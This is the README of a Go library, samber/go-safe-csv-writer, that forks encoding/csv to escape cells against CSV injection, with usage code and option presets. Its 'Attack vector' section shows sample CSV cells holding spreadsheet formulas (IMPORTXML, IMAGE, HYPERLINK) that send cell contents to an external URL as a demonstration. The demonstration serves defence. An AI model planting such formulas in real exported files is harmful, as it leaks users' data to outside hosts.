Skip to content

samber/go-safe-csv-writer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

14 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Safe CSV writer

tag Go Version GoDoc Build Status Go report Coverage Contributors License

A fork of encoding/csv (go v1.23.4) package from Go stdlib, preventing CSV injection and data exfiltration, while maintaining compatibility with the original library.

πŸ₯· Attack vector

Simple formula

The following CSV:

col1,col2,col3
-21-21,=A1,42

Would be rendered in Excel like this:

col1,col2,col3
-42,col1,42

Advanced formula

The following CSV might request external resource and leak data.

userId,secret
1,secret1
2,secret2
3,"=IMPORTXML(CONCAT(""http://samuel-berthe.fr?dump="", CONCATENATE(A1:B6)), ""//a"")"
4,=IMAGE("http://samuel-berthe.fr?dump=" & INDIRECT("B2"))
5,=HYPERLINK("http://samuel-berthe.fr?dump=" & INDIRECT("B2"), "a link")

Protect

See https://georgemauer.net/2017/10/07/csv-injection.html.

and https://owasp.org/www-community/attacks/CSV_Injection

πŸš€ Install

go get github.com/samber/go-safe-csv-writer

This library is v0 and follows SemVer strictly.

Some breaking changes might be made to exported APIs before v1.0.0.

🀠 Getting started

GoDoc: https://godoc.org/github.com/samber/go-safe-csv-writer

import csv "github.com/samber/go-safe-csv-writer"

func main() {
    var buff strings.Builder

    writer := csv.NewSafeWriter(
        &buff,
        &SafetyOpts{
            ForceDoubleQuotes: true,
            EscapeCharEqual:   true,
        },
    )
    writer.Write([]string{"userId", "secret", "comment"})
    writer.Write([]string{"-21+63", "=A1", "foo, bar"})
    writer.Flush()

    if err := writer.Error(); err != nil {
        panic(err)
    }

    output := buff.String()
    // "userId","secret","comment"
    // "-21+63"," =A1","foo, bar"
}

🍱 Reference

// Prototype:
func NewSafeWriter(w io.Writer, opts SafetyOpts) *SafeWriter
// Available options:

type SafetyOpts struct {
    ForceDoubleQuotes bool
    EscapeCharEqual   bool
    EscapeCharPlus    bool
    EscapeCharMinus   bool
    EscapeCharAt      bool
    EscapeCharTab     bool
    EscapeCharCR      bool
}
// Presets:

var FullSafety = SafetyOpts{
	ForceDoubleQuotes: true,
	EscapeCharEqual:   true,
	EscapeCharPlus:    true,
	EscapeCharMinus:   true,
	EscapeCharAt:      true,
	EscapeCharTab:     true,
	EscapeCharCR:      true,
}

var EscapeAll = SafetyOpts{
	ForceDoubleQuotes: false,
	EscapeCharEqual:   true,
	EscapeCharPlus:    true,
	EscapeCharMinus:   true,
	EscapeCharAt:      true,
	EscapeCharTab:     true,
	EscapeCharCR:      true,
}

🀝 Contributing

Don't hesitate ;)

# Install some dev dependencies
make tools

# Run tests
make test
# or
make watch-test

πŸ‘€ Contributors

Contributors

πŸ’« Show your support

Give a ⭐️ if this project helped you!

GitHub Sponsors

πŸ“ License

Copyright Β© 2024 Samuel Berthe.

This project is MIT licensed.

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy